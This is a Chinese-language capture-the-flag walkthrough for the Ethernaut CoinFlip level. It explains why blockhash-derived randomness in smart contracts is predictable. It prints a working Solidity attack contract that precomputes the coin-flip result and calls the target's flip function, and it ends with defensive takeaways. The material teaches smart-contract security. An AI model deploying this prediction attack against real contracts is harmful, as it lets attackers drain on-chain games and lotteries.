以太坊如何產(chǎn)生隨機(jī)性以太坊區(qū)塊鏈上沒有真正的隨機(jī)性,只有被認(rèn)為足夠好的隨機(jī)生成器。開發(fā)人員目前通過在以太坊中的散列獨(dú)特性或難以篡改
以太坊如何產(chǎn)生“隨機(jī)性”
以太坊區(qū)塊鏈上沒有真正的隨機(jī)性,只有被認(rèn)為“足夠好”的隨機(jī)生成器。
開發(fā)人員目前通過在以太坊中的散列獨(dú)特性或難以篡改性的變量創(chuàng)建偽隨機(jī)性。此類變量的示例包括transaction timestamp, sender address, block height 。
以太坊提供兩種主要的加密散列函數(shù),即SHA-3和較新的KECCAK256,它們對(duì)這些輸入變量的串聯(lián)字符串進(jìn)行散列。
最終生成的哈希被轉(zhuǎn)換為一個(gè)大整數(shù),然后由n修改。 這是為了得到一組離散的概率整數(shù),在0到n的期望范圍內(nèi)。
請(qǐng)注意,在我們的Ethernaut練習(xí)中,n = 2代表硬幣翻轉(zhuǎn)的兩面。
這種在智能合約中導(dǎo)出偽隨機(jī)性的方法很容容易受到攻擊。如果知道輸入的黑客可以結(jié)此猜出“隨機(jī)”結(jié)果。
這就是解決CoinFlip級(jí)別的關(guān)鍵。 在這里,確定硬幣翻轉(zhuǎn)的輸入變量對(duì)于您來說是公開的。
詳情演練
我們來創(chuàng)建一個(gè)惡意智能合約,檢查硬幣翻轉(zhuǎn)的結(jié)果。
只有當(dāng)你正確猜到了結(jié)果時(shí),你才能調(diào)用真實(shí)合約的翻轉(zhuǎn)(bool _guess)函數(shù)。
1、在Remix IDE中,創(chuàng)建一個(gè)與CoinFlip.sol相關(guān)的惡意合同:
contract hackCoinFlip {
CoinFlip public originalContract = CoinFlip(
"your instance address");
uint256 FACTOR = 578960446186580977117854925043439539266349923
32820282019728792003956564819968;
function hackFlip(bool _guess) public {
//TODO
}
}
2、實(shí)現(xiàn)hackFlip()函數(shù),使用與原始智能合約相同的邏輯和輸入變量來預(yù)測(cè)翻轉(zhuǎn)結(jié)果。 既然你知道blockhash和block.number,那么你就能準(zhǔn)確預(yù)測(cè)正確的_guess。
function hackFlip(bool _guess) public {
// pre-deteremine the flip outcome
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// If I guessed correctly, submit my guess
if (side == _guess) {
originalContract.flip(_guess);
} else {
// If I guess incorrectly, submit the opposite
originalContract.flip(!_guess);
}
}
3、調(diào)用你的hackFlip()函數(shù)10次。當(dāng)您做出正確的猜測(cè)時(shí),原始智能合約的consecutiveWins計(jì)數(shù)器應(yīng)該逐步增加。
關(guān)鍵安全要點(diǎn)
1. 沒有真的隨機(jī)性。
2. 在計(jì)算智能合約中的“隨機(jī)性”時(shí)(或者甚至從現(xiàn)有的隨機(jī)數(shù)庫繼承)時(shí)要格外注意。 如果您使用隨機(jī)性來確定比賽獲勝者,請(qǐng)記住,對(duì)手可以輕松猜出隨機(jī)結(jié)果并破解您的游戲!(鏈三豐)
關(guān)鍵詞: 以太坊 偽隨機(jī) 加密散列函數(shù)